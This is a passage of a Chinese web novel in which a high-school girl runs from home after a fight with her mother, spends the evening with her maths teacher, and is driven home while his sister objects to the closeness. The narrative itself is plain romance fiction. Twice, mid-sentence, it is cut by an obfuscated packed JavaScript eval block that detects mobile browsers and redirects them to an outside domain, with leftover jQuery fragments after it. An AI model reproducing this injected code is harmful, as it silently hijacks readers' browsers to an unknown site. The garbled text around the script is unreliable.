“瞎说什么呢?”她没有感受到手指的疼痛,眼中的警惕与敌意一闪而过,随后神色如常,开起了玩笑:“那我撤掉一套餐具,你不用吃。” 赵柠嘟起嘴,抓起剩下一截芝士塞进赵栩嘴里,装作不开心:“姐姐坏~” 姐妹两人在厨房说说笑笑,丝毫没有意识到赵梧楠提前回到了家中。 她站在厨房门口,眼含笑意看着姐妹两人,而赵栩先反应过来,嘴角笑容变淡。 想给的惊喜只做了个半成品,这让她多少有点尴尬,赵栩略微局促地笑着,不知道该说什么。 还是赵梧楠先打破了沉默,缓缓走进厨房,看着摆出的材料,会心一笑,“我说饭店那边怎么放我鸽子,原来有更好的等着我。” “嗯……”赵栩刚想开口,却闻到了陌生的香水味,笑容肉眼可见地消失,将警惕毫不掩饰写在脸上。 确切的说,是男士香水味。 “怎么……了?”赵梧楠才对上女儿沉沉的目光,就下意识别开眼去,转过身去,开始帮忙处理菠萝。 她给菠萝切块,用切割声掩饰底气不足,佯作无事地说:“今晚有个朋友要来给妈妈过生日,要多准备一些。” “是男朋友吗?”赵栩装作毫不在乎,平静的语气中沾染上了冷意。 她把鸡腿骨头重重放在案板上,发出了让人心惊的碰撞声。 一场避免不了的争吵即将爆发,赵柠扯扯赵栩的衣角,又小心翼翼看向没有表情的妈妈,心里战战兢兢的。 没等妈妈开口,赵栩满脸不屑,率先开口:“我不反对您谈恋爱,但单子云不是什么好人。” “我昨天看到他和女生一起吃饭,这种渣男要他干嘛?” 赵梧楠脸上的笑容全部消失,垂下眼眸细想片刻,出于母亲的直觉,很快便想明白了。 “你爸和你说的?”她直直地盯着女儿,声音中听不出一丝怒意,眼睛里却隐含着不满。 此刻赵梧楠收起作为母亲和善的一面,显露出了作为女强人的压迫感。 在赵栩看来,妈妈就像对待犯错误的一样对待她这个亲生女儿,让她心里很不舒服,继而提高音量质问: “我爸不是什么好人,你那个现任更不是,摆脱一个烂人找另一个烂人,有意思吗?” 手上的细小血痕终于发作,她感受到了微微的痛意,但都不及心痛。 赵栩胡乱地打开水龙头,开到最大,任由水声哗哗而下,她知道自己说了很过分的话,以此遮蔽她内心的阴暗面。 她承认对爸爸有那么点恻隐之心,虽然他亏欠妈妈很多,也不是世俗意义上的好人。但在妈妈外出打工的几年里,是爸爸把她抚养长大,衣食住行样样不缺,也从未苛待过她。 再者,亲情联系着妈妈、妹妹和她,三个人的生活明明过得很好,她无法接受外来者,更无法接受这样温馨的习惯会被人打破。 她最害怕的,是妈妈给女儿的爱,会被这个不速之客分走。 听着这番算不上客气的话,赵梧楠想起了一些不算愉快的往事,眼神里的光黯淡下去,但是一以贯之的坚持让她不能心平气和。 坚持什么?坚持让赵栩和她爸趁早一别两清,最好不再相见。 赵梧楠害怕,孙浩然的不务正业,终有一日会祸及女儿,还是趁早割裂得好。 “晚饭我来做,你先回屋子休息休息。”她回过身去,不再看女儿的表情,开始专心处理里脊肉。 依然是不辨悲喜的语气,实际上态度坚定,不给女儿任何商量的余地。 “好,好。” 赵栩机械般地点着头,心里的负面情绪横冲直撞,已经到达极点。 下一秒,赵栩赌气跑出了家门。 电梯门打开的刹那,门后露出了那张令她憎恶的帅脸,赵栩进入电梯,而对方恰好捧着一大束花出电梯。 单子云只觉得这个小美女长得有点眼熟,并不知道她是谁的情况下,平白被瞪了一眼。 站在心上人家的门口,他对着手机照了照造型,顺顺头发,整理领带,大狗似的咧嘴笑了,美得不行。 他下定决心,一定要给姐姐的女儿们留个好印象。 此刻正在傻乐的单子云还没有意识到,间接因为他,爆发了一场母女间的矛盾。 …… 步入夏天有一阵子了,这边赵栩出了电梯,外面的天灰蒙蒙的,将暗未暗,伴着夜幕而来的凉风,让她下意识打了个寒战,她才注意到自己上身只穿了一件短袖。 不过已经踏出家门,断然没有回去的道理,她也没带手机,只能硬着头皮往外走。 月亮藏在灰色的云间,因为昼更长夜更短,迟迟不肯现身。云雾飘飘随风而起,风虽不大却沁凉十足。 从住宅区到闹市,赵栩逆着夜晚的微凉,大概走了快四十分钟,才走到一条步行街。 由于这条街道和上学的方向是相背而行,她几乎没有踏足过这边,所以分外陌生。 这一片是小吃街,煎饼果子、烤冷面、炒年糕、臭豆腐……煎炒烹炸的香气无孔不入,天色未曾全暗,夜生活的烟火先行,置身于涌动的人潮中,赵栩忽觉不安与孤独。 而不安的主要来源,就是没钱没手机。 她的身边就是一个露天馄饨摊,一位面善的老大爷正在边烤肉边下馄饨,炭烤的烤鸡翅香直往她的鼻腔里窜,馄饨的鲜肉香分外抓人。 赵栩没吃晚饭,加上在夜风里走了许久,也许正需要一碗香香热热的馄饨汤暖胃。 可是她没钱,只能捂住肚子,白短袖不知道何时蹭上了一块灰尘,看起来狼狈不已。 赵栩无助地望着天空,眼见灰云翻墨,夜晚来临,小鹿似的眼睛里各写着“饿”字,光芒缓缓隐去。 就像是电视剧里落魄的女主角,此刻的她,无比希望能有人请她吃饭。 “赵栩?” 许是街区车水马龙,喇叭鸣笛与叫卖声此起彼伏,那人沉沉的嗓音,仿佛被离于闹市,先是轻抚过她的耳膜,再搅动她心底静默的弦。 未见其人,心脏亦跟着跳动。 赵栩简直不敢相信她的耳朵,却也不想在如此尴尬的境地与他相见,只得磨磨蹭蹭的转过身来。 “秦老师好。”她低下头掩饰窘迫,小声问好。 秦暮野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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面对秦暮野,她忽觉心平气和了不少,能自然而然地撤下盾牌,将心门敞开,缓缓讲述事情的始末。 可能是几步外就是煮馄饨的大锅,原本湿冷的晚风,经由过滤后温暖如春,环绕在赵栩偏凉的手指。 秦暮野静静地当着听众,目光里噙着一丝不易察觉的浅笑,吹着自对面而来的风,似乎能闻到淡淡的橘子花香。 馄饨很快就煮好了,赵栩一看到半个拳头大小的肉馄饨,委屈也忘了诉,她做了个暂停手势,“先吃饭,吃完我再跟您说。” “好。”秦暮野轻声应下,把那碗没加香菜的,放到赵栩面前,自己则吃香菜多得可怕的那一碗。 赵栩看着那满满一碗香菜末,目瞪口呆,试探地说:“老师,您不用勉强自己的。” 秦暮野微挑眉头,神情淡然,“我挺喜欢吃香菜的。” 他用最寻常的表情,说出最可怕的话。 但实际上,他说的确实是真话。 几秒沉默后,赵栩才意识到,这碗不加香菜的馄饨,一开始就是给自己准备的。 但连她自己都想不起来,秦暮野是什么时候知道她不吃香菜的事。 秦暮野轻轻搅动着勺子,试图舀出那勺孤独的月光,才发现汤里的残月消失。 原来倒映在虚妄里的,是两只不能靠近的手。 不论有心还是无意,赵栩对来自于他的“特殊关照”,总会分外开心。 她喝下一口汤后,潜伏在皮肤的寒意去了大半,心里也跟着暖暖的,终于可以暂时放下不悦,开始大口吃饭。 鲜肉馄饨一口咬下,汤汁鲜美,肉质爽滑细腻,想必她真是饿极了,一连几个吃下去,还是觉得胃里没填什么。 秦暮野见她吃得正香,又点了几串烧烤,以免她吃不饱。 赵栩吃着吃着,一股不知名的酸涩涌上心头,她放下勺子,直直地盯着秦慕野。 待做好心理建设后,郑重说道: “老师,您真好。” 听到这近乎天真的话语,秦暮野顿了顿,然后轻笑出声,眸中流转着清润的光泽。 然后在学生疑惑的注视下,他眸光稍黯,唇边的笑容淡去。 “如果我带你吃饭就是对你好,是不是明天谁给你送束花,帮你捎杯奶茶,都算对你好?” “不要被廉价的示好行为感动,多想想你所拥有的上限。” 言外之意,旁人那点“小恩小惠”,与妈妈对你的好相比,那又算得了什么。 见他突然严肃,赵栩愣神片刻,盯着桌子,又开始无意识地拨弄手指,眼神空洞。 她如何不知道,自初中离开老家,妈妈想尽一切办法补偿那些年,各方面条件都给女儿最好的,赵栩的生活条件优于很多同龄人。 她发烧的时候,妈妈把公司的事全都抛了,两天两夜没有合眼照顾女儿,以致后来甲方借此解约,公司损失了好大一笔钱,赵栩也是很久之后才知道的。 可是后来,妈妈只说,什么都没有她的女儿重要。 而现在因为自私,她在妈妈生日的当天,跑出家门,好好的一个生日宴被搅黄了。 赵栩抿紧嘴唇,愧疚与苦涩交织在一起。 她当然知道妈妈这些年吃的苦,而且吃苦从来也不是为了她自己,都是为了能带着女儿离开大山,让她们能站在更高更远的平台上看世界。 她握紧裤腿,脑海里划过昨天在冒菜店的一幕,想到妈妈的男朋友就更加心烦。 如果现在就这么回去,少不了要和那个人打照面,自尊心又迫使自己不能向他们低头。 如果回去,就代表着接受那个男的成为妈妈的男友,那还不如不回去。 秦暮野觉得可能是自己说话语气重了,神情放缓了些。 当他望向赵栩,看到她的眉心揪成一团,就知她为难。 迟疑稍许,他把双手交叠在桌上,神情清冷平淡,嗓音中却有着说不出的庄重: “要去一起看电影吗?” 赵栩持勺的手微微一抖,差点把汤泼出来。 回不回家的纠结倒是被冲淡了,只是说不出的心慌与惊喜蔓延心头。 “好啊。” 29. 初恋这件小事(3) 作为老师而言,邀请学生去看电影是极其不合适的,但这也是秦暮野的下下之策。 趁着赵栩吃饭时,他联系上了她的妈妈,他看出赵栩仍情绪不定,不是回家的好时机。 所以只能由他来做思想工作,秦暮野要等到赵栩彻底气消之后,才把人送回去。 为了去看电影,赵栩狼吞虎咽吃完晚饭,忍不住期待,“我们去看什么?去哪里看?” 秦暮野侧过身去,指向街角的一家剧院,“走几步就是。” “嗯……”赵栩偏头看了一眼,外部装潢古朴,外贴《霸王别姬》《英雄本色》等经典老片的海报,很有上个世纪的风格。 她通常只在电影院和家里看电影,倒是第一次知道市区有这样的地方。 见赵栩面露疑虑,他解释道: “不用害怕,那不是什么私人影院,是一家民国时期留下的剧院,以演出戏剧为主,都是正规经营。” 两人吃完饭后,走向不到五十米的那家剧院。越往街角走,夜灯的布置也趋于复古,在柏油路上撒下昏暗的灯光,徜徉其中的两人,踏在这条暖橘色的河上。 秦暮野有意与之保持距离,走在她的身后,赵栩走在前面,但步伐悠然,因为不想离他太远。 赵栩难得不用匆匆而行,难得放松自我,深吸了一口夜晚的烟火气息,连带着一丝木质的柑橘香,这份舒适且令人安心的气味,将愁闷暂时扫空。 灯光将他们的影子扯远,而晚风恰好撩动她的发梢,发丝迎风飘扬。 影子里的头发丝,就像触手似的,一触一碰,有意无意敲打着秦暮野的胳膊。 两个肢体上毫无交集的人,通过影子实现了微妙的联系。 一路无言,两人却都下意识放慢节奏,希望时间能流淌得再慢一点,这样就永远走不到真实的岸边。 进入影院后,赵栩直奔前台,去选晚上要看的影片,当成仪式感十足的事。 明明只有五部,她却犯了选择困难症。 “老师,你想看什么?” 因为晚上重映的影片是随机的,秦暮野看了一圈电影的名字,指了一下海报,“就这部吧。” 《初恋这件小事》 赵栩循着他手指的方向看去,嘴唇微微抖动,心跳也跟着漏了一拍。 可能是她的错觉,他的手指分明就指在“初恋”两个字上。 其余四部,要不是限制级影片,要不是恐怖片,他们能看的,好像只有这一部。 可是她不想把这大好时光,用在看平淡温馨的片子上。 于是她大着胆子,语气坚定地说:“但我想看恐怖片。” 《山村老尸》 秦暮野怀疑自己是不是听错了,眼中掠过一丝疑惑,“你确定?” “我确定。”赵栩坚决地点头。 秦暮野见她坚持,不再多说什么,直接走到前台去买票。 晚上来这里看电影的人不多,看恐怖片的人更是少之又少,以至于他们进入影厅后,再没看到其他人。 至少打眼一看,是看不到什么人。 电影还没开播,厅内伸手不见五指,尽管秦暮野在后面打着灯,仍然有照不到的地方。 赵栩侧身走进座位时,没看清座位下面的踏板横出来一块儿,脚下一绊,一个没站稳,身体向前一晃,她下意识掺住右侧的支撑物…… ——手臂。 虽然在黑暗中,秦暮野很快就发觉赵栩脚下不稳,上前一步,还没等他去扶,对方就拽住了他的手臂。 赵栩以被捞起来的姿势靠在他的手臂上,手臂因为发力而凸起的肱二头肌,硌得她脸颊疼。 冷淡的木质香瞬间将她包围,而对方恰好垂眸,那张英俊的脸近在咫尺。 彼时电影开播荧幕亮了起来,诡异的冷光挤过二人之间,在那优越的五官上镀上光晕。 虽说怀里“搂”着个人,他的脸上仍保持着淡漠的平和。 不过赵栩却能从影片阴间的前奏中,清楚捕获到他的心跳声,不比她的慢。 赵栩突然闻到了有别于木质柑橘的香气,陌生之余,一种莫名的舒适感很快充盈在胸腔,搅动着她的理智。 很久以后,她鼓起勇气去查相关资料,才打开了新世界的大门: 原来,小说里的信息素是真实存在的,只不过在现实中换了种说法。 该说不说,他还怪有力气的,举着手机,提着两杯饮料和一大桶曲奇,又承受了一个人的压力,手臂连抖都不抖一下,将她稳稳扶住。 “再不起来,我手里的饮料就要洒了。”秦暮野确定人站稳后,向后退了一步,嗓音冷淡。 赵栩晕乎乎地站直,本以为他不喜欢别人靠近他,正欲道歉…… 却无意中瞥见,他面无表情别过脸去,喉结轻轻滚动。 那一刻,赵栩忽然萌生出一种,或许可以离他更近一点的感觉。 虽然这是错误的。 电影的开头是几人在交谈,可是旧时的画质有种说不出的诡异,赵栩忽觉有点冷,搓了搓小臂。 秦暮野一言不发,把一条毛毯越过两人之间的空座上,搭在了赵栩座位的扶手上,便接着看电影。 观影时影厅会根据剧情,配合一些吹风的特效,所以他临时租了一条毛毯。 赵栩意识到自己方才的行为有点冒犯,仍有些惴惴不安,故而不敢扭头看他,抽过毛毯裹在身上。 也不知道是老师更可怕,还是老尸更可怕。 不愧是上个世纪数得上号的鬼片,阴冷的气氛很快就把人代入了场景,赵栩倒不觉得害怕,甚至觉得晚饭有点没吃饱,用鬼片下饭,一大桶曲奇快吃掉了一半。 她伸手去拿曲奇的下一秒,影片的马桶里突然伸出一只手,随后女鬼在地上爬行。 视觉冲击之强,把赵栩吓了一大跳,寒毛竖起,饼干也掉到了地上。 伴着阵阵阴风吹来,以及影片内可怖的背景音乐,待她好不容易鼓起勇气俯下身去捡饼干,掀起眼皮偷偷去看一旁的秦暮野,却发现他…… 居然睡着了。 在如此阴冷的影厅,身着短袖短裤,影片里又不时一惊一乍,而秦暮野不为所动,看了一会儿之后困意袭来,于是合眼小憩。 瞧着他安详的神色,赵栩愣了片刻,然后摇摇头,无奈地笑了,暗自想到: 陪女生看个电影都能睡着,还能指望他干什么? 通过他胸膛有规律的起伏,赵栩判断他应当是真睡着了,接着她放轻手脚,坐在秦暮野旁边的位置上,侧过头去枕着椅背。 从手腕到侧脸,悄悄打量着他。 秦暮野所带的腕表价值不菲,再向上看去,结实的小臂上脉络凸起,有种说不出的野性,哪里像是一只握粉笔的手。 短袖其实是合身的,只是胸膛处肌肉精壮,那层薄薄的衣料撑起,依稀可见令人血脉贲张的线条,展现出成熟男性的独特力量感。 浑然天成的禁欲气质之下,原是这样一具高大健硕的身体,这种反差感带给人的诱惑力十足。 为着影厅里实在太暗,赵栩和自己较劲儿似的,大着胆子,将脸再度凑近了他。 她也就只敢趁着秦暮野睡觉时,肆无忌惮靠近他。 似乎丝毫不害怕,过热的呼吸会抵达他的肩膀。 这一刻赵栩在想,所有人都觉得她是乖乖女,性子不温不火,好好学习循规蹈矩。 只有她自己知道,其实她早就厌烦了这套束缚。 她偶尔也不想写作业,不想上补习班,考差了能原谅自己一次。 这么晚了和异性一起看电影,恐怕是她十八岁以来,做的第二出格的一件事。 而此时在这里偷偷看他,就是第一出格的事。 眼前之人就像潘多拉的魔盒,一旦扭开,赵栩不知道会有怎样的灾殃,却敌不过那种甜蜜的矛盾,让人上瘾。 她对耳边影片中的鬼叫声充耳不闻,隐秘处升起一缕玩味,视线最终锁定在他深邃的眉目上。 赵栩伸出手来,澄澈如水的眸子微起,像是要溢出倒映的星月。 拨弦似的,她在那纤长浓密的睫毛上,拨动了两下,指尖传来的酥痒感,也同时在她心里同频电了两下。 他的睫毛很翘,摸过之后一颤一颤,像高傲的黑天鹅,终有一日会低下头。 她心里一慌,以为秦暮野醒了,但发现对方抿着嘴唇,仍保持着原有的姿势和表情,才算放下心来。 殊不知,在她看不见的阴影处,秦暮野将双臂环抱胸前,另一只手把指甲紧紧嵌入皮肉里,用微弱的痛感维持呼吸的稳定。 同样也是保持清醒。 可是睫毛仍止不住轻微微颤抖,投在鼻梁上的一片阴翳,亦随之摆动,无法平静。 这边赵栩还想再摸一次,正打算故技重施,谁料后排蓦地传来一阵异响,她的手停在半空中,奇怪地向后排看去,以为是自己听错了。 当她转过身去,后排的怪动静却变本加厉,尽管电影的声音很大,赵栩摒弃静听,随着男女亲吻的口水声越来越清晰,听得她有些脸热。 秦暮野也不好再装睡了,故作迷迷糊糊睁开眼睛,忽略了赵栩即刻抽回的手,亦扭头看向后方。 可是情侣在他们几排之后,丝毫没意识到来自前排的两道审视,大有擦枪走火之势。 看到有人如此不顾社会公德,赵栩本就心不静,这下更恼火了,冲着后排大声喝道: “你们干什么呢?” 情侣两人还沉浸其中,没有听到来自外部的阻拦依然卿卿我我。 电影播到白天的场景,影厅内亮了许多,前排两人眼睁睁地看着,后面的男子马上就要脱裤子,瞬间把赵栩恶心得不行。 她顺起手边的曲奇饼干,直接砸向那个男子。 后面的情侣这才反省过来,伸出脑袋与前排的师生两人大眼瞪小眼。 秦暮野蹙起眉头,很快辨认出情侣应当就是中学生的年纪,大步上前,把衣衫不整的男生拽着领子,从座位上提溜出来。 他长得又高手劲儿还大,手中抓着的男生像是小鸡崽儿,毫无还手之力。 秦暮野手下也没留情,阔步下到平地后,直接把人甩在地上。 “上高中了吧?你的父母应该为你操了不少心,你倒真不介意再给他们添一个。”他居高临下冷眼看着男生,罕见动了怒。 后排的女生捂着嘴不敢出声,眼见气势骇人的高大男子把男友摔倒在地,她一路小跑下来,带着哭腔小声抱怨:“你凭什么管我们……” 秦暮野抬眸,收敛起怒意,无奈的眼神中带着些许痛惜。 “你是要高中肄业早早结婚生子?给自己和家庭带来沉重的负担。” “还是要做堕胎手术给身体造成不可逆的伤害?” 他和女生讲道理时,语气稍缓和,却藏不住教师的威严。 秦暮野拿出手机,去找一些真实堕胎案例的图片,不管女生愿不愿意看,摆到她眼前,一字一句说: “如果以前没人教你要好好保护自己,那我现在告诉你,没有人比你自己更重要。” “一个不懂得爱护你的人,就该被踢到一边,而不是和他纠缠不清。” 他忍住想踹男生一脚的冲动,转而冲赵栩招招手,轻声问:“还要看吗?” 赵栩看了这么一出戏,饼干也吃完了,早就没了看鬼片的兴致,连忙摇摇头,抱起曲奇盒和饮料,跟在老师身后离开。 走之前,她假装不小心踩了男生一下,顺便在心里小小的鄙视了他一下。 …… 离开电影院后,秦暮野迈着大长腿一路向前,弄得赵栩有点疑惑,差点跟不上他的步伐。 他的车子就停在附近,赵栩这次也不推辞了,习惯成自然坐在了副驾驶。 透过后视镜,赵栩发现他的眉头一直拧着,一副心事重重的表情。 “看到他们这样,您是生气了吗?”她不解道。 秦暮野浅声回答:“有一点。” 他稍稍移开目光,与后视镜里的她对视,然后目视前方继续开车,解释道: “我不反对高中生谈恋爱,但前提是不能做出有悖于年龄的事,无法承担责任,终究是害人害己。” “喜欢的前提是尊重和爱护,连这两样都做不到,怎么能配说喜欢?”他越说越感慨,却也意识到和学生说这些不太妥当,故而没在发表其余的言论,平视前方,将注意力放在斜上方的红绿灯上。 绿灯将熄,黄灯亮起,色彩浓烈的两种颜色,在他的眸中交替闪现,似乎抵达内心深处的界限,致使他握紧了方向盘,将车子堪堪停稳,不敢越过白线。 时时警醒,从不敢忘。 赵栩又吃了一个曲奇,快速掀起眼皮,瞧向他认真的脸,顿觉好笑,心想: 皇上不急太监急,也不操心操心你自己。 “老师,您高中的时候,对于喜欢的女生,是什么态度啊?”她看似漫不经心,其实很是上心地问。 秦暮野刚想说“我没有喜欢的女生”,话到嘴边又咽了回去,眸光微动,转而故作严肃道:“高中生说什么喜欢不喜欢的,先把期末考试应付过去再说。” 赵栩撇了撇嘴,觉得他像极了逢年过节餐桌上讨人厌的亲戚,净爱说些扫兴的话,忍住了把饼干盒扔到他身上的冲动。 同时她从那只言片语中提炼出关键词,心里一坠,不免有些失落。 原来,自己在他的眼里,还是不配谈“恋爱”的小孩子。 车子逐渐驶离闹市,缓缓进入住宅区,建筑物从陌生逐渐过渡到熟悉的样子,凭借忽明忽暗的月色,赵栩也能判断出,这是通往她家的路。 虽然她很奇怪,明明秦暮野连导航都没开,怎么能驾驶得如此精准。 “老师,我不想回家。”她强行打开安全带,侧过身子,冲他使劲摇摇头,以表抗议。 秦暮野听到了安全带的提示声,把车子停到路边,又怕她夺车而出,把车锁关上。 “你不回家,是要去哪里?”他心平气和地问道,言语中隐有无奈。 “我……”赵栩陷入了矛盾,她也没带身份证,自然不能去睡酒店。 她脑子都要转破了,支支吾吾半天,底气不足道:“去韩明月家。” 秦暮野摇头笑笑,“我如果把你送去韩明月家,她的家长马上就要把你送回家,何必这么麻烦?” “嗯……”赵栩想了想,又不自觉地扣起手来,然后悄悄抬眼看向对方,蚊子哼哼似的,征求对方的意见: “要不,您把车借我一晚,我将就一下。” 秦暮野无奈笑出了声,眼里的笑意加深,竟然一时无言以对,启了启唇,正要开口,被赵栩自顾自打断: “算了吧,这不太合适。” 赵栩不情不愿地撂下这句话后,扭过身子去,把脸朝向窗外,合眼小憩,让他自己看着办。 于她而言,秦暮野的车里有种特别的温馨感,就算是一路颠簸,也起到了摇篮的效果。 清新的果味车载香薰,并不是廉价的那种,冷调的木质香与其交织,汇就了一种独特的柔和,顺着血液扩散到全身,抚慰着那颗孤独躁动的心。 浅眠之中,她依稀听到了略显伤感的钢琴曲,眼前浮现出层云尽染的晚霞,梦见自己在天上飞…… 飞鸟撞向艳阳天,哪怕羽翼烧灼,亦要向死而生,直至化作一缕残烟飘散,也要奔向不属于自己的落日。 不一会儿,赵栩第二次在他的车上睡着了,唯余均匀的呼吸声。 秦暮野默默调低了音量,在不经意间,视线掠过后视镜。 后方车子的前灯忽亮,视线停留在了镜中的一抹白色。 这才注意到,一辆白色的宝马跟在车子后方,若近若远,拙劣的跟踪行径已经昭然若揭。 秦暮野握紧了方向盘,眸中稍黯,留意些许便判断出了来人,随后全然无视后方车辆,只沿着既定方向行驶。 转弯之后没有几分钟,就到了赵栩家附近。 越接近目的地,秦暮野越有意放缓行驶速度,视线透过后视镜,周折一番再回到身旁的人。 窗外斑驳的灯光,在她脸上形成了连片的光影,女孩侧颊的那颗微小的痣,像极了雪地里的点缀的墨笔,企图在那片冰冷中写意,却就这样湮灭在梦里。 她睡着的梦,他清醒的梦。 ——咚咚咚 秦暮野心神一动,眼底才聚拢起的雾霭,被突如其来的敲车窗声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14641038|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打乱。 他才反应过来,赵栩的妈妈来接女儿了。 秦暮野调整好一晃而过的异样情绪,神色如常,打开车门和学生家长交流。 “麻烦您了秦老师,这孩子给您添麻烦了。”赵梧楠无比感激,向他鞠了一躬。 她的眼里已然有了红血丝,想必是万分担心。 秦暮野微笑着摇摇头,“不麻烦的。” 打开副驾驶车门后,一张安稳的睡颜,丝毫没有要醒的迹象。 “这……”赵梧楠有些为难于,要不要叫醒女儿,然后视线在秦暮野和身后的单子云之间转了个来回,不知所措。 单子云当然义不容辞,直接上前一步,“我来吧。” 秦暮野不动声色把他挡在身后,径直上前把赵栩拦腰抱起,冲赵梧楠点点头,由她带路,把赵栩亲自送回家。 单子云尚在发蒙,就对上了秦暮野那双漠然的眼睛,突然连大气都不敢出。 那种潜藏的敌意,不禁让人浑身发冷,有种“他若是敢碰赵栩一根手指,手就要被砍了”的错觉。 在前面带路的赵梧楠,垂眸观察着身后的影子,瞧着几乎要合二为一的两人,心里略有不妥之感。 但秦暮野长相和行为都挺正派,就算抱着她的女儿,手摆放的位置也很合规矩。 更出于对老师的信任,她心里那点顾虑,也暂时烟消云散了。 走了很长一段距离,他们才进了家门。 赵栩的家是以暖色调为主题的大平层,就连灯光都是暖色的,浅橙色的灯光照在两人的身上,秦暮野从外面带来的一身冷意,顿觉回暖了不少。 可能温暖的颜色,真的会给人正向的心理暗示吧,连带着他这个与之经常打交道的人都会被感染,他想。 许是赵栩在潜意识中知道回家了,她还在熟睡中,嘴里嘟囔了几句什么。 秦暮野没放在心上,正要把人放下,脸侧忽然传来温热气息。 在柔软贴上的前一秒,他慌忙别过脸去,才没有产生什么不该有的接触。 秦暮野面上不显,实则手心已经微微出汗。 骇浪自紧锁的心门震荡而出,就此远去,此生难返。 他的呼吸稍微加重,结实的手臂亦开始微微发抖,用尽最后一丝定力,才把人安稳放在沙发上。 赵梧楠惊得捂住了嘴,眼前的一幕过于有冲击力,让她的目光趋于愣直了。 直到对上秦暮野那双了无波澜的眼睛,她才反应以来,自己的女儿差点亲上非亲非故的男子。 “对不起秦老师。”赵梧楠把手覆在额头,哭笑不得,从她的角度抬眼看去,都能看到他的脸颊上不自然的红晕。 “没关系。”秦暮野摇摇头,声音里不带半点感情,那双桃花眼里淡漠如斯,似乎真的毫不在意。 殊不知,心如止水的外表之下,静水深流。 赵梧楠在震惊之余,看向沉睡的女儿,心底涌起阵阵酸涩,又看见神色自若的秦暮野,莫名觉得他应当是个可靠的人,忍不住向他说明各种缘由: “我和赵栩的爸爸感情一直不好,这孩子从小早熟,虽然不说,但其实什么都知道。” “我们时常吵架,常常一个家里容不下两个人,她不想看我们关系这么僵,就会亲我们一口,缓和气氛。” 孩子小的时候,早早就学会装可爱缓和父母间的关系。做父母的还会稍微顾虑一下孩子,选择维持表面的和平。 但随着赵栩年龄变大,选择父母其中一个人成为了她的必选题,父母也不再掩盖矛盾。 她想要留住父母,到头来却谁都留不下。 不知名的阵痛像是滴入清水的血液,触目的猩红很快便扩散开来,染红了秦暮野记忆深处的愁思。 他凝神静听,余光漫过那条橘子花手链,晦暗的瞳孔里才算了有了一抹苍翠。 在他的记忆里,他的父母倒是不曾吵架。 而是根本不熟,聚少离多,母亲把家里当酒店,父亲则时常冷脸,无论是对妻子还是对儿子。 偌大的一个家,冷冰冰的。 秦暮野望向赵栩,发觉她在睡梦中仍然紧蹙眉宇,想必睡得不太安稳,可能时常会受噩梦的侵扰。 他也许忘了,脸上依然挂着那抹淡粉色,烙在白皙的皮肤上分外显眼。 “抱歉,我的蓝牙耳机好像掉在这附近。”秦暮野语气平静,其实眼神躲闪,好像煞有介事。 得到允许后,他俯下身子,借助沙发靠背遮挡住赵梧楠的视线。 秦暮野站到附近时,在她的脸上落下了一片庇护的影子。 她原本一扑一闪的睫毛,忽然停住了颤动,应当是在险象环生的梦境中游荡时,寻到了安稳的避风港。 秦暮野借着找耳机的姿势,抬眼时注意到,她的怀里抱了一只哆啦A梦。 他不假思索,把一颗糖塞进了哆啦A梦的口袋里。 如果你的童年失去了做梦的权利,长大之后,自然会有人会一分不差补偿给你。 …… 秦暮野虽然多番婉拒,但赵梧楠和男友还是坚持把他送出小区。 虽然单子云长了接近一米九的大个子,从视觉效果上来说,长得比秦暮野这种伪瘦高型的要壮实。 但此时他像个小男孩似的,畏畏缩缩的猫在赵梧楠身后。 不知道为什么,他有点怕这个数学老师。 秦暮野点头致意向两人道别,离开小区后,停下脚步,盯着不远处的一车一人。 许是雾气氤氲的缘故,悬在头顶的夜灯忽明忽暗,也衬托得来自枫树旁的凝视愈发明显。 秦暮野并没有要走过去的意思,只是嘱咐:“早点回学校,明天还要上课。” 周暮谣缓步走到他身旁,看着他方才一系列的荒唐行径,惊怒交加,语塞难止。 一个小时前,她也去到了馄饨摊,不知怎么就想喝上一口热汤。 之前他们常年住在沪上市,她初二那年父亲升官,才搬到了定海市。 她在定海市上学,而哥哥在燕京上大学,两人连寒暑假都不常见面。 周暮谣只记得,难得见面的那一天,她身体不舒服,哥哥就照顾了她一天,还给她打包了馄饨。 那是她吃过最好吃的馄饨。 所以她今天去吃馄饨时,恰好和老板聊了起来,才知道哥哥和一个特别漂亮的女生一起吃饭。 周暮谣凭借老伯描述女孩的体貌特征,便能猜个八九不离十。 此刻站在她面前的秦暮野,好似没有半分做错事的觉悟,安然笼罩在夜色之间,俊逸如玉。 可偏偏这份从容,让人移不开眼。 “你不觉得你太过分了吗?你有一点做老师的样子吗?”她红了眼眶,终是忍不住质问。 秦暮野抬眸在看雾里朦胧的月,视线向高向远,暂时离开理智的桎梏,毫无逃避之意。 他将思路理清后,才开口:“我不是一个称职的老师,所以……” “你也知道。”周暮谣厉声呵斥,不由得搡他了一把。 “到头来你自己受处分也就算了,别连累爸爸和你一起受累!” “你和她不清不楚,败坏的是她的名声,断送的是你们的前程!” 周暮谣生平第一次如此失态,说到最后,几乎是用吼的,止不住地喘着粗气。 听到前一句时,秦暮野仍旧无动于衷。 可到了后一句,他呼吸凝滞,墨色的瞳孔里,皓月几乎顷刻间便坠入海底。 秦暮野并不在乎自己的前程,因为说实话,钱够花就是最好的前程,所以他也不缺老师这份工作,更不喜欢没有意义的社交,从来不在乎别人怎么看他。 可是…… “我已经递交了辞职申请。” “虽然没入职多久就辞职,好像不太负责。” 秦暮野未曾犹豫,字字句句掷地有声,如雪融之前最后的骤降温。 好像化雪之后,一切都会摆脱束缚。 周暮谣像是听到了天大笑话,气极反笑,颤抖着声线:“为了谁?” 秦暮野稍稍仰头,修长挺拔的身姿沐浴在清辉之中。 眨眼之间,眸中收起了束之九天的月光, “不全是。” 30. 